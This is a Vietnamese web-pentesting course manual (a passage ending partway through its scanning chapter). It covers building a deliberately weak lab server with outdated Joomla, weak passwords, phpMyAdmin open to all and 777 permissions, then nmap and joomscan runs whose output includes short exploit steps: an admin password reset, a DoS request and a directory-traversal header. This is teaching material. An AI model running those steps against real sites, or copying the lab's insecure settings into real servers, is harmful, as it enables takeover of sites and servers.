Mục lục
Phần 1: Cài đặt môi trường Webserver cho việc tiến hành thử nghiệm Pentesting ...... 3
1. Nguyên lý hoạt động webserver ........................................................................................ 3
2. Remote từ xa tới webserver ................................................................................................ 5
3. Install Ubuntu/CentOS ........................................................................................................ 10
4. Install Apache ....................................................................................................................... 14
5. Install MySQL + PHP ........................................................................................................... 14
6. Install PhpMyAdmin ............................................................................................................ 17
7. Install Joomla/Wordpress/NukeViet ................................................................................ 19
8. Install XAMP, Vertrigo ......................................................................................................... 32
Phần 2: Scan lỗ hổng web ................................................................................................ 38
1. Nmap ....................................................................................................................................... 38
2. Các công cụ scan Joomla.................................................................................................. 41
3. Sử dụng Acunetix, ZAP và các công cụ scan web khác. .......................................... 50
Phần 3: CÁC LOẠI TẤN CÔNG TRÊN JOOMLA VÀ LIFERAY ....................................... 60
1. Các loại tấn công trên Joomla .......................................................................................... 61
2. Các loại tấn công trên Liferay Portal .............................................................................. 72
3. SQL Injection ......................................................................................................................... 73
4 XSS (Cross Site Scripting) ................................................................................................. 80
5 Joomla Security Plugin ...................................................................................................... 85
6 Htaccess ................................................................................................................................. 86
7 Cài đặt công cụ bảo mật Modsecurity ............................................................................ 89
Phần 4: Tăng cường bảo mật website với https và hsts .............................................. 97
1. Giao thức HTTP ........................................................................................................................ 98
2. Đăng ký vài cài đặt SSL certificate: Comodo, GeoTrust, DigiCert, Verisign ......... 104
3. Cài đặt SSL trên webserver và kích hoạt https ............................................................. 115
4. Scan HTTP version ................................................................................................................ 116
5. Chuyển hướng webserver chạy HTTPS thay vì HTTP ................................................. 118
6. Cơ chế hoạt động HSTS, thiết lập HSTS trên webserver............................................ 119
Phần 5: ICT Index ............................................................................................................ 125
1. Giới thiệu ................................................................................................................................. 126
2. Nội dung ................................................................................................................................... 127
3. Ví dụ về Việt Nam ICT Index 2017: .................................................................................... 128
2
Phần 1: Cài đặt môi trường Webserver cho việc tiến hành
thử nghiệm Pentesting
1. Nguyên lý hoạt động webserver
2. Remote từ xa tới webserver
3. Install Ubuntu/CentOS
4. Install Apache
5. Install MySQL + PHP
6. Install PhpMyAdmin
7. Install Joomla/Wordpress/NukeViet
8. Install XAMP, Vertrigo
3
Về mặt kỹ thuật, ta có thể lưu trữ tất cả các file trên máy tính của mình, nhưng có nhiều
lợi ích hơn khi lưu trữ chúng trên một máy chủ riêng biệt như:
luôn luôn sẵn sàng (up and running)
luôn luôn kết nối tới mạng Internet
có một địa chỉ IP cố định
được bảo dưỡng bởi nhà cung cấp (third-party provider)
Giao tiếp thông qua HTTP
Thứ hai, một web server hỗ trợ HTTP (Giao thức truyền phát siêu văn bản - Hypertext
Transfer Protocol). Như tên gọi, HTTP là cách truyền các siêu văn bản - hypertext (ví dụ:
các tài liệu web) giữa hai máy tính.
Một giao thức là một tập hợp các quy tắc để kết nối giữa hai máy tính. HTTP là một giao
thức textual, stateless.
Textual
Tất cả các lệnh là văn bản thuần túy (plain-text) và con người có thể đọc được.
Stateless
Cả server và client không nhớ kết nối trước đó. Ví dụ, nếu chỉ có HTTP, một server
không thể nhớ mật khẩu ta đã nhập hoặc bước nào mà chúng ta đã làm trong một giao
dịch. Ta cần một application server cho những nhiệm vụ như vậy.
HTTP cung cấp các quy tắc rõ ràng, về cách một client và server giao tiếp với nhau. Bây
giờ, ta chỉ cần biết những thứ này:
Chỉ client có thể tạo các HTTP request tới các server. Các server chỉ có thể đáp trả
HTTP request của client.
Khi yêu cầu một file thông qua HTTP, client phải cung cấp URL của file.
Web server phải trả lời mọi HTTP request, ít nhất với một thông điệp lỗi (error
message).
Trên một web server, HTTP server chịu trách nhiệm xử lý và trả lời các request đến.
1. Khi nhận một request, một HTTP server sẽ kiểm tra xem URL được yêu cầu có khớp
với một file hiện có không.
2. Nếu có, web server gửi nội dung file trả lại trình duyệt. Nếu không, một application
server sẽ tạo ra file cần thiết.
3. Nếu không thể xử lý, web server trả lại một thông điệp lỗi cho trình duyệt, phổ biến
nhất là "404 Not Found". (Đó là lỗi phổ biến, cái mà nhiều nhà thiết kế web dành khá
nhiều thời gian để thiết kế 404 error page).
Nội dung static vs dynamic
- Nói chung, một server có thể phục vụ cả nội dung static hoặc dynamic. "Static" có
nghĩa là "được phục vụ nguyên vẹn" (served as-is). Các static website là dễ dàng
nhất để thiết lập, vì thế nên tạo một static site trước tiên.
4
- "Dynamic" có nghĩa là server xử lý nội dung hoặc thậm chí tạo ra chúng với dữ liệu
từ database. Giải pháp này linh hoạt hơn, nhưng stack kỹ thuật trở lên khó khăn hơn
để xử lý, làm cho việc xây dựng website trở lên phức tạp hơn.
- Lấy ví dụ trang web mà ta đang đọc hiện nay. Một web server lưu trữ (hosting) nó,
có một application server lấy nội dung bài viết từ một database, định dạng nó, đẩy nó
vào trong HTTP template, và gửi kết quả cho chúng ta. Trong trường hợp này,
application server được gọi là Kuma và được xây dựng với Python (sử dụng
framework Django). Mozilla team xây dựng Kuma cho nhu cầu riêng của MDN,
nhưng nhiều ứng dụng tương tự được xây dựng trên nhiều công nghệ khác.
- Có rất nhiều application server và thật khó để gợi ý cụ thể. Một vài application server
phục vụ các loại website cụ thể như: blogs, wikis, hay e-shop, được gọi là CMSs
(các hệ quản trị nội dung - content management systems).
5
Tab session:
o Session name: XFCE
o Host: <IP server, ex: 192.168.1.11>
o Login: <username, ex: root>
o Session type: XFCE
Tab Connection:
o Connection speed: LAN nếu dùng nội bộ
o Method: 16m-jpeg
o Image quality: 7
Tab Media:
o Sound: Uncheck enable sound support
o Client side printing support: Uncheck
Sau khi cấu hình xong, nhấn vào XFCE kế bên icon
6
Nhập password => OK
Note: Chọn Yes nếu có yêu cầu xác thực RSA key
Note: Chọn Use default nếu không có thay đổi nào
Giao diện XFCE sau khi remote vào server sử dụng GUI
7
o Note: Chọn Yes nếu có thông báo bất kì
Xshell (version 5)
https://www.netsarang.com/download/down_form.html?code=6
22
Nhập các thông tin bên dưới:
- Windows Server:
o Sử dụng Remote Desktop Connection
Windows Server phải cho phép client Remote bằng cách Enable
Remote (tích vào ô Allow connections from computers running any
version of Remote Desktop (less secure)):
8
Từ máy client mở Remote Desktop Connection và nhập IP server
9
Giao diện remote đến Server
- Chuẩn bị:
o VMWare workstation 12
o File CentOS minimum (định dạng iso)
- Tiến hành:
o Khởi tạo Vmware cài CentOS với cấu hình như sau:
Full name: điền họ tên đầy đủ
Username: tên đăng nhập vào Server
Password: mật khẩu đăng nhập vào Server (mật khẩu áp dụng cho cả
user root)
10
o Tiến hành khởi động Server
11
o Chọn khu vực Việt Nam, sau đó Done
- Ở bên dưới phần Host name: ta có thể chỉnh sửa lại để mặc định, sau đó Done
12
o Chọn SOFTWARE SELECTION
o Kéo xuống dưới và nhấn Begin Installation để tiến hành cài đặt CentOS
13
Giao diện sau khi cài đặt CentOS xong
4. Install Apache
o Dừng Apache
Mở trình duyệt và gõ IP hoặc tên host của server CentOS để kiểm tra chắc chắn Apache
đã hoạt động.
5. Install MySQL + PHP
a. Install MySQL
14
- Update system
- Cài đặt MySQL như bình thường và start dịch vụ. Trong quá trình cài đặt, bạn sẽ
được hỏi nếu chấp nhận kết quả từ xác thực GPG của file định dạng rpm. Nếu
không có lỗi gì xuất hiện thì nhấn y.
- Sau khi install xong, tiến hành cài đặt cho lần đầu truy cập MySQL
=> Enter
15
b. Install PHP
- PHP là thành phần xử lý code để hiển thị nội dung web động. Nó có thể chạy các
script, kết nối đến database MySQL để lấy thông tin, và chuyển nội dung được xử lí
đến webserver để hiển thị.
- Tiến hành install php và php-mysql:
- Để cải tiến thêm các chức năng của PHP, chúng ta có tìm thêm các module cần thiết
cho PHP, để tìm các module PHP có sẳn, sử dụng câu lệnh
o Yum search php-
- Được kết quả
16
- Để tiến hành install toàn bộ các module ta dùng command:
o Yum –y install php*
- Note: nếu có xảy ra lỗi conflict module đã install thì chúng ta sẽ chỉnh command lại
như sau:
o Yum –y install php* --skip-broken
- Tiến hành test PHP trên CentOS bằng cách tạo info.php trong /var/www/html/ với
command
o Sudo vi /var/www/html/info.php
- Điền nội dung:
o <?php phpinfo(); ?>
o sau đó save file lại
- Test bằng trình duyệt web với url: http://<IP server>/info.php
6. Install PhpMyAdmin
17
o Yum –y install epel-release
- Cài đặt phpmyadmin
o Yum –y install phpmyadmin
- Chỉnh sửa lại các thông số cần thiết
o Vi /etc/httpd/conf.d/phpMyAdmin.conf
o Tab <Directory /usr/share/phpMyAdmin>
Tab <RequireAny> của Apache 2.4
Comment Require ip 127.0.0.1
Comment Require ip ::1
Thêm Require all granted
Tab <RequireAny> của Apache 2.2
Comment Allow from 127.0.0.1
Comment Allow from ::1
Thêm Require all granted
o Tab < Directory /usr/share/phpMyAdmin/setup/>
Tab <RequireAny> của Apache 2.4
Comment Require ip 127.0.0.1
Comment Require ip ::1
Thêm Require all granted
Tab <RequireAny> của Apache 2.2
Comment Allow from 127.0.0.1
Comment Allow from ::1
Thêm Require all granted
o Save file.
- Khởi động lại httpd để phpmyadmin hoạt động
o Systemctl restart httpd
- Khởi động phpmyadmin trên trình duyệt với url
o http://<Ip server>/phpmyadmin
o Username : root
o Password : <là mật khẩu đã đặt cho root lúc cài đặt MySQL>
- Giao diện chính của phpmyadmin sau khi đăng nhập
18
7. Install Joomla/Wordpress/NukeViet
a. Install Joomla
- Vào database với user root và password của root
o Mysql –u root –p
o Enter password: <password của root>
- Tạo cơ sở dữ liệu joomla
o CREATE DATABASE joomla;
- Tạo user cho CSDL joomla với password 123456
o CREATE USER user1@joomlapentest.net IDENTIFIED BY ‘123456’;
- Cuối cùng gán quyền cho user này
o GRANT ALL ON joomla.* TO user1@joomlapentest.net
- Để user hiện tại có thể access vào MySQL
o Flush privileges;
- Thoát MySQL
o Exit
- Sauk hi tạo xong database, tiến hành download Joomla về với command
o Cd /tmp
o Wget https://downloads.joomla.org/cms/joomla15/1-5-26/joomla_1-5-26-stable-
full_package-zip?format=zip
o Mv joomla_1-5-26-stable-full_package-zip?format=zip joomla-1-5-0.zip
- Tiến hành giải nén file đã tải vào thư mục joomla đã tạo phía trên:
o sudo unzip -q joomla*.zip -d /var/www/html
o Note: Nếu server chưa cài đặt trình giải nén thì tiến hành cài đặt:
Yum –y install zip unzip
- Thay đổi ownership của thư mục sang Apache2 và permission
o Sudo chown –R apache:apache /var/www/html/
o Sudo chmod 755 /var/www/html/
- Restart Apache2
o Service httpd restart
- Tiến hành Install joomla thông qua trình duyệt web với url
o http://<IP server>/
- Có giao diện:
19
- Select Language: có thể chọn English hoặc Tiếng Việt tùy ý
- Chọn Next
20
- Cấu hình chính:
o Database Configuration:
Database Type: MySQLi
Hostname: localhost
Username: root
Password: <pass MySQL của root>
Database Name: joomla
21
Main Configuration
Site name: Cyborg Security
Confirm the Admin E-mail and Password
Email: user1@joomlapentest.net
Password: 123456
Confirm Administrator Password: 123456
o Note: Password có thể thay đổi trong MySQL
Click Install sample Data
Sau đó nhấn Next
22
o Rm –rf /var/www/html/joomla/installation
- Chạy lệnh sau nếu không tìm thấy configuration.php trong folder
/var/www/html/joomla
o chcon -R -t httpd_sys_rw_content_t /var/www/html
- Tạo thư mục joomla trong /var/www/html và move toàn bộ file trong html vào thư
mục joomla
o Mkdir /var/www/html/joomla
o Mv /var/www/html/* /var/www/html/joomla
o Note: nếu xuất hiện lỗi: mv: cannot move ‘/var/www/html/joomla’ to a
subdirectory of itself, ‘/var/www/html/joomla/joomla’ thì có thể bỏ qua
- Restart httpd:
o Service httpd restart hoặc systemctl restart httpd
- Mở trang chính của joomla theo url
o http://<IP server>/jl
23
b. Install Wordpress
- Tạo thư mục wordpress trong /var/www/html
o Mkdir wordpress /var/www/html
- Vào database với user root và password của root
o Mysql –u root –p
o Enter password: <password của root>
- Tạo cơ sở dữ liệu JoomlaDB
o CREATE DATABASE WordpressDB;
- Tạo user cho CSDL WordpressDB với password 123456
o CREATE USER wordpressuser@anninhmang.net IDENTIFIED BY
‘123456’;
- Cuối cùng gán quyền cho user này
o GRANT ALL ON WordpressDB.* TO wordpressuser@anninhmang.net
- Để user hiện tại có thể access vào MySQL
o Flush privileges;
- Thoát MySQL
o Exit
- Restart Apache
o Service httpd restart
- Tiến hành tải file wordpress từ trang chủ
o Cd /tmp
o Wget http://wordpress.org/latest.tar.gz
- Giải nén file:
o Tar xzvf latest.tar.gz
- Move toàn bộ file trong thư mục wordpress vào /var/www/html/wordpress, set quyền
và set owner cho wordpress
o Mv wordpress/* var/www/html/wordpress
o Chmod –R 755 /var/www/html/wordpress
o Chown –R apache:apache /var/www/html/wordpress/
- Đổi tên wp-config-sample.php thành wp-config.php
o Cp wp-config-sample.php wp-config.php
- Cấu hình và chỉnh sửa lại để tiến hành install wordpress
o vi wp-config.php
24
o Dòng define('DB_NAME', 'database_name_here');
Database_name_here => WordpressDB
o Dòng define('DB_USER', username_here);
Username_here => root
o Dòng define('DB_PASSWORD', 'password_here');
Password_here => password của root trong MySQL
- Save file
- Restart Apache
o Service httpd restart
- Mở trình duyệt, nhập URL
o http://<IP server>/wordpress
25
- Nhấn Login
o Username: wordpressuser
o Password : 123456
26
c. Install NukeViet
27
Nhấn Next
- Nhấn Next
28
- PHP version not compatible: PHP yêu cầu phiên bản lớn hơn 5.6 và nhỏ hơn 7.2
- Check version PHP của server
o Php –v
- Tiến hành update PHP từ version 5.4.16 lên version 5.6 bằng các command sau:
o yum remove php*
o rpm -Uvh http://rpms.remirepo.net/enterprise/remi-release-7.rpm
o yum -y install yum-utils
o yum update
o yum-config-manager --enable remi-php70
o yum -y install php php-opcache php-pdo php-gd php-xml php-mbstring php-
pecl-zip php-mysql
o systemctl restart httpd.service
- F5 trình duyệt và xem lại
- Nhấn Next
29
- Database Configuration
o Database Type: MySQL 5.x/MariaDB
o Hostname: localhost / Port: 3306
o Username: root
o Password: mật khẩu của root
o Database Name: NukevietDB
o Prefix: nv4
o Nhấn Submit
- Website Info
o Site Name: Cyborg Security
o Admin Account: nukevietuser
o Email: nukevietuser@anninhmang.net
o Password: 123456
o Re-Enter password: 12345678x@X
o Select Question: Đặt câu hỏi bất kì
o Your Answer: Chọn câu trả lời bất kì
o Multi-language Website: check nếu muốn đa ngôn ngữ
o Nhấn Submit
30
- Hoàn thành setup Nukeviet4
- Chmod thư mục upload cùng thư mục con sang 777
o Chmod 777 -R /var/www/html/nukeviet/uploads
- Trang admin
- Trang chủ
31
8. Install XAMP, Vertrigo
o Chọn Next
32
- Chọn các component muốn Install, sau đó nhấn Next.
33
- Chọn finish và 1 cửa sổ xuất hiện
34
- Mở trình duyệt và đi tới localhost, đã install XAMP
- Link chứa các file html or php: C:\xampp\htdocs
- Có thể install Wordpress, Joomla hay Nukeviet tại thư mục này.
- Install:
35
- Tiến hành để cấu hình mặc định hoặc chỉnh sửa cho phù hợp, Sau đó Next đến khi tiến trình
bắt đầu cài đặt
36
- Link chứa các file html, php hoặc folder chính để hiển thị trên browser: C:\Program
Files\VertrigoServ\www
- Nếu muốn xem username và password của PhpmyAdmin hoặc các account có liên
quan:
37
Phần 2: Scan lỗ hổng web
- Mục tiêu: Sử dụng công cụ và tương tác bằng tay để quét và thống kê cấu trúc
website, scan tìm kiếm lỗ hổng website.
- Nội dung:
o Sử dụng nmap
o Các công cụ scan joomla
o Sử dụng Acunetix, ZAP và các công cụ scan web khác.
o Trường hợp manual
o Trích xuất report.
1. Nmap
a. Khái niệm
- Nmap là một công cụ bảo mật được phát triển bởi Floydor, ban đầu nó chỉ là một
tool *nix nhưng về sau đã phát triển rất mạnh mẽ phù hợp với nhiều nền tảng và
phát triển cả giao diện UI.
- Nmap (Network Mapped) là một phần mềm mã nguồn mở dùng để quét đường
mạng và dò ra nhiều thông tin hữu ích trên máy chủ. Nmap không chỉ dùng để thu
thập thông tin trên máy chủ mà còn hữu dụng trong việc tìm ra lỗ hổng bảo mật.
- Nmap hỗ trợ quét các kiểu quét sau:
o TCP SYN (half open) scanning
o TCP FIN
o Xmas hay NULL (stealth) scanning
o TCP ftp proxy (bounce attack) scanning,
o SYN/FIN scanning thông qua IP (bypass một số bộ loc)
o TCP ACK và Window scanning
o UDP raw ICMP port unreachable scanning
o ICMP scanning (ping-sweep),
o TCP Ping scanning
o Direct (non portmapper) RPC scanning
o Nhận diện hệ điều hành bằng TCP/IP Fingerprinting
o Reverse-ident scanning
o Vanilla TCP connect() scanning
- Một số tính năng thường hay được sử dụng:
o Kiểm tra xem máy chủ có đang được mở (online) hay không?
o Phát hiện những cổng nào đang được mở trên máy chủ.
o Xác định được máy chủ sử dụng những dịch vụ nào, được chạy trên cổng
tương ứng nào và phiên bản là gì?.
o Kiểm tra xem máy chủ chạy trên hệ điều hành nào và phiên bản của hệ điều
hành đó.
o Phát hiện ra lỗ hổng bảo mật.
- Đánh giá: Linh hoạt, mạnh mẽ, di động, dễ sử dụng, miễn phí, tài liệu nghiên cứu tốt,
được hỗ trợ, phổ biến, giải thưởng…
b. Sử dụng nmap để scan các port chính.
i. Windows:
38
- Tab Nmap Output
39
- Tab Topology
- Host Details:
o Open port : 22, 80, 3306
o IP: 1.2.3.6
o Mac address: 00:0c:29:c7:ec:0e
o Hostname: anninhmang1.net
o OS: Linux 3.2 – 4.9
40
o Port 22: Chạy OpenSSH 7.4
o Port 80: Apache service
o Port 3306: MySQL service (version 5.6.40)
o Mac Address: 00:0c:29:c7:ec:0e, server đang chạy trên máy ảo VMware
- Tìm Anonymous FTP Logins trên server
o Nmap –sC 1.2.3.6 –p 21
*******************************************************
Beginning run against http://1.2.3.3/...
Testing themes from joomla_themes.txt...
Theme Installed: templates/beez/
Theme Installed: templates/rhuk_milkyway/
41
Theme Installed: templates/system/
Testing plugins...
Plugin Installed: components/com_banners/
Plugin Installed: components/com_contact/
Plugin Installed: components/com_content/
Plugin Installed: components/com_mailto/
Plugin Installed: components/com_media/
Plugin Installed: components/com_newsfeeds/
Plugin Installed: components/com_poll/
Plugin Installed: components/com_search/
Plugin Installed: components/com_user/
Plugin Installed: components/com_weblinks/
Plugin Installed: components/com_wrapper/
Plugin Installed: modules/mod_archive/
Plugin Installed: modules/mod_banners/
Plugin Installed: modules/mod_breadcrumbs/
Plugin Installed: modules/mod_custom/
Plugin Installed: modules/mod_feed/
Plugin Installed: modules/mod_footer/
Plugin Installed: modules/mod_latestnews/
Plugin Installed: modules/mod_login/
Plugin Installed: modules/mod_mainmenu/
Plugin Installed: modules/mod_mostread/
Plugin Installed: modules/mod_newsflash/
Plugin Installed: modules/mod_poll/
Plugin Installed: modules/mod_random_image/
Plugin Installed: modules/mod_related_items/
Plugin Installed: modules/mod_search/
Plugin Installed: modules/mod_sections/
Plugin Installed: modules/mod_stats/
Plugin Installed: modules/mod_syndicate/
Plugin Installed: modules/mod_whosonline/
Plugin Installed: modules/mod_wrapper/
*******************************************************
Summary:
Theme Installed: templates/beez/
URL http://1.2.3.3/templates/beez/
Theme Installed: templates/rhuk_milkyway/
URL http://1.2.3.3/templates/rhuk_milkyway/
Theme Installed: templates/system/
URL http://1.2.3.3/templates/system/
Plugin Installed: components/com_banners/
URL http://1.2.3.3/components/com_banners/
URL http://1.2.3.3/index.php?option=com_banners
Plugin Installed: components/com_contact/
URL http://1.2.3.3/components/com_contact/
URL http://1.2.3.3/index.php?option=com_contact
Plugin Installed: components/com_content/
URL http://1.2.3.3/components/com_content/
URL http://1.2.3.3/index.php?option=com_content
42
Plugin Installed: components/com_mailto/
URL http://1.2.3.3/components/com_mailto/
URL http://1.2.3.3/index.php?option=com_mailto
Plugin Installed: components/com_media/
URL http://1.2.3.3/components/com_media/
URL http://1.2.3.3/index.php?option=com_media
Plugin Installed: components/com_newsfeeds/
URL http://1.2.3.3/components/com_newsfeeds/
URL http://1.2.3.3/index.php?option=com_newsfeeds
Plugin Installed: components/com_poll/
URL http://1.2.3.3/components/com_poll/
URL http://1.2.3.3/index.php?option=com_poll
Plugin Installed: components/com_search/
URL http://1.2.3.3/components/com_search/
URL http://1.2.3.3/index.php?option=com_search
Plugin Installed: components/com_user/
URL http://1.2.3.3/components/com_user/
URL http://1.2.3.3/index.php?option=com_user
Plugin Installed: components/com_weblinks/
URL http://1.2.3.3/components/com_weblinks/
URL http://1.2.3.3/index.php?option=com_weblinks
Plugin Installed: components/com_wrapper/
URL http://1.2.3.3/components/com_wrapper/
URL http://1.2.3.3/index.php?option=com_wrapper
Plugin Installed: modules/mod_archive/
URL http://1.2.3.3/modules/mod_archive/
Plugin Installed: modules/mod_banners/
URL http://1.2.3.3/modules/mod_banners/
Plugin Installed: modules/mod_breadcrumbs/
URL http://1.2.3.3/modules/mod_breadcrumbs/
Plugin Installed: modules/mod_custom/
URL http://1.2.3.3/modules/mod_custom/
Plugin Installed: modules/mod_feed/
URL http://1.2.3.3/modules/mod_feed/
Plugin Installed: modules/mod_footer/
URL http://1.2.3.3/modules/mod_footer/
Plugin Installed: modules/mod_latestnews/
URL http://1.2.3.3/modules/mod_latestnews/
Plugin Installed: modules/mod_login/
URL http://1.2.3.3/modules/mod_login/
Plugin Installed: modules/mod_mainmenu/
URL http://1.2.3.3/modules/mod_mainmenu/
Plugin Installed: modules/mod_mostread/
URL http://1.2.3.3/modules/mod_mostread/
Plugin Installed: modules/mod_newsflash/
URL http://1.2.3.3/modules/mod_newsflash/
Plugin Installed: modules/mod_poll/
URL http://1.2.3.3/modules/mod_poll/
Plugin Installed: modules/mod_random_image/
URL http://1.2.3.3/modules/mod_random_image/
Plugin Installed: modules/mod_related_items/
43
URL http://1.2.3.3/modules/mod_related_items/
Plugin Installed: modules/mod_search/
URL http://1.2.3.3/modules/mod_search/
Plugin Installed: modules/mod_sections/
URL http://1.2.3.3/modules/mod_sections/
Plugin Installed: modules/mod_stats/
URL http://1.2.3.3/modules/mod_stats/
Plugin Installed: modules/mod_syndicate/
URL http://1.2.3.3/modules/mod_syndicate/
Plugin Installed: modules/mod_whosonline/
URL http://1.2.3.3/modules/mod_whosonline/
Plugin Installed: modules/mod_wrapper/
URL http://1.2.3.3/modules/mod_wrapper/
o Command trên liệt kê ra tất cả các mod, component, plugin and theme mà đã
install trên host 1.2.3.3, thậm chí các file này có thể đã bị ẩn và không thấy
được khi truy cập.
b. Joomscan:
- Là một dự án OWASP có thể được sử dụng để phat hiện 1 web server (nếu có sử
dụng Joomla hoặc không) và kiểm tra version của Joomla. Nó có thể tìm các lỗ hổng
trong 1 site dựa vào các plugins, extensions, etc. và nó cũng có thể sử dụng để khai
thác. 1 khi tất cả các module được list ra thì chúng ta có thể test các modules với
các lỗ hổng như RFI, LFI, SQL Injection, etc…
- Câu lệnh chính:
o ./joomscan.pl –u http://1.2.3.3/
root@kali:~# joomscan -u http://1.2.3.3
=============================================================
====
OWASP Joomla! Vulnerability Scanner v0.0.4
(c) Aung Khant, aungkhant]at[yehg.net
YGN Ethical Hacker Group, Myanmar, http://yehg.net/lab
Update by: Web-Center, http://web-center.si (2011)
=============================================================
====
Target: http://1.2.3.3
44
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
## Fingerprinting done.
Vulnerabilities Discovered
==========================
#1
Info -> Generic: htaccess.txt has not been renamed.
Versions Affected: Any
Check: /htaccess.txt
Exploit: Generic defenses implemented in .htaccess are not available, so
exploiting is more likely to succeed.
Vulnerable? Yes
#2
Info -> Generic: Unprotected Administrator directory
Versions Affected: Any
Check: /administrator/
Exploit: The default /administrator directory is detected. Attackers can bruteforce
administrator accounts. Read:
http://yehg.net/lab/pr0js/view.php/MULTIPLE%20TRICKY%20WAYS%20TO%20
PROTECT.pdf
Vulnerable? Yes
#3
Info -> Core: Multiple XSS/CSRF Vulnerability
45
Versions Affected: 1.5.9 <=
Check: /?1.5.9-x
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 4.
Exploit: A series of XSS and CSRF faults exist in the administrator application.
Affected administrator components include com_admin, com_media,
com_search. Both com_admin and com_search contain XSS vulnerabilities, and
com_media contains 2 CSRF vulnerabilities.
Vulnerable? Yes
#4
Info -> Core: JSession SSL Session Disclosure Vulnerability
Versions effected: Joomla! 1.5.8 <=
Check: /?1.5.8-x
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 5.
Exploit: When running a site under SSL (the entire site is forced to be under ssl),
Joomla! does not set the SSL flag on the cookie. This can allow someone
monitoring the network to find the cookie related to the session.
Vulnerable? Yes
#5
Info -> Core: Frontend XSS Vulnerability
Versions effected: 1.5.10 <=
Check: /?1.5.10-x
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 6.
Exploit: Some values were output from the database without being properly
escaped. Most strings in question were sourced from the administrator panel.
Malicious normal admin can leverage it to gain access to super admin.
Vulnerable? Yes
#6
Info -> Core: Frontend XSS - HTTP_REFERER not properly filtered Vulnerability
Versions effected: 1.5.11 <=
Check: /?1.5.11-x-http_ref
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 9.
Exploit: An attacker can inject JavaScript or DHTML code that will be executed in
the context of targeted user browser, allowing the attacker to steal cookies.
HTTP_REFERER variable is not properly parsed.
Vulnerable? Yes
#7
Info -> Core: Frontend XSS - PHP_SELF not properly filtered Vulnerability
Versions effected: 1.5.11 <=
Check: /?1.5.11-x-php-s3lf
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 10.
Exploit: An attacker can inject JavaScript code in a URL that will be executed in
the context of targeted user browser.
Vulnerable? Yes
#8
Info -> Core: Authentication Bypass Vulnerability
Versions effected: Joomla! 1.5.3 <=
46
Check: /administrator/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 11.
Exploit: Backend accepts any password for custom Super Administrator when
LDAP enabled
Vulnerable? Yes
#9
Info -> Core: Path Disclosure Vulnerability
Versions effected: Joomla! 1.5.3 <=
Check: /?1.5.3-path-disclose
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 12.
Exploit: Crafted URL can disclose absolute path
Vulnerable? Yes
# 10
Info -> Core: User redirected Spamming Vulnerability
Versions effected: Joomla! 1.5.3 <=
Check: /?1.5.3-spam
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 13.
Exploit: User redirect spam
Vulnerable? Yes
# 12
Info -> Core: Admin Backend Cross Site Request Forgery Vulnerability
Versions effected: 1.0.13 <=
Check: /administrator/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 15.
Exploit: It requires an administrator to be logged in and to be tricked into a
specially crafted webpage.
Vulnerable? Yes
# 13
Info -> CorePlugin: Xstandard Editor X_CMS_LIBRARY_PATH Local Directory
Traversal Vulnerability
Versions effected: Joomla! 1.5.8 <=
Check: /plugins/editors/xstandard/attachmentlibrary.php
Exploit: Submit new header X_CMS_LIBRARY_PATH with value ../ to
/plugins/editors/xstandard/attachmentlibrary.php
Vulnerable? Yes
# 14
Info -> CoreLibrary: phpmailer Remote Code Execution Vulnerability
Versions effected: Joomla! 1.5.0 Beta/Stable
Check: /libraries/phpmailer/phpmailer.php
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 21.
Exploit: N/A
Vulnerable? Yes
# 15
Info -> CoreComponent: Joomla Remote Admin Password Change Vulnerability
47
Versions Affected: 1.5.5 <=
Check: /components/com_user/controller.php
Exploit: 1. Go to url :
target.com/index.php?option=com_user&view=reset&layout=confirm 2. Write
into field "token" char ' and Click OK. 3. Write new password for admin 4. Go to
url : target.com/administrator/ 5. Login admin with new password
Vulnerable? Yes
# 21
Info -> CoreComponent: com_content XSS Vulnerability
Version Affected: Joomla! 1.5.7 <=
Check: /components/com_content/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 30.
Exploit: The defaults on com_content article submission allow entry of dangerous
HTML tags (script, etc). This only affects users with access level Author or
higher, and only if you have not set filtering options in com_content configuration.
Vulnerable? Yes
# 22
Info -> CoreComponent: com_weblinks XSS Vulnerability
Version Affected: Joomla! 1.5.7 <=
Check: /components/com_weblinks/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 31.
Exploit: [Requires valid user account] com_weblinks allows raw HTML into the
title and description tags for weblink submissions (from both the administrator
and site submission forms).
Vulnerable? Yes
# 23
Info -> CoreComponent: com_mailto Email Spam Vulnerability
Version Affected: Joomla! 1.5.6 <=
Check: /components/com_mailto/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 32.
Exploit: The mailto component does not verify validity of the URL prior to sending.
Vulnerable? Yes
# 25
Info -> CoreComponent: com_content XSS Vulnerability
Version Affected: Joomla! 1.5.9 <=
Check: /components/com_content/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 34.
Exploit: A XSS vulnerability exists in the category view of com_content.
Vulnerable? Yes
# 26
Info -> CoreComponent: com_installer CSRF Vulnerability
Versions effected: Joomla! 1.5.0 Beta
Check: /administrator/components/com_installer/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 36.
48
Exploit: N/A
Vulnerable? Yes
# 28
Info -> CoreComponent: com_poll (mosmsg) Memory Consumption DOS
Vulnerability
Versions effected: 1.0.7 <=
Check: /components/com_poll/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 38.
Exploit: Send request
/index.php?option=com_poll&task=results&id=14&mosmsg=DOS@HERE<<>AA
A<><>
Vulnerable? Yes
# 30
Info -> CoreComponent: com_mailto timeout Vulnerability
Versions effected: 1.5.13 <=
Check: /components/com_mailto/
Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285, <JO> line 40.
Exploit: [Requires a valid user account] In com_mailto, it was possible to bypass
timeout protection against sending automated emails.
Vulnerable? Yes
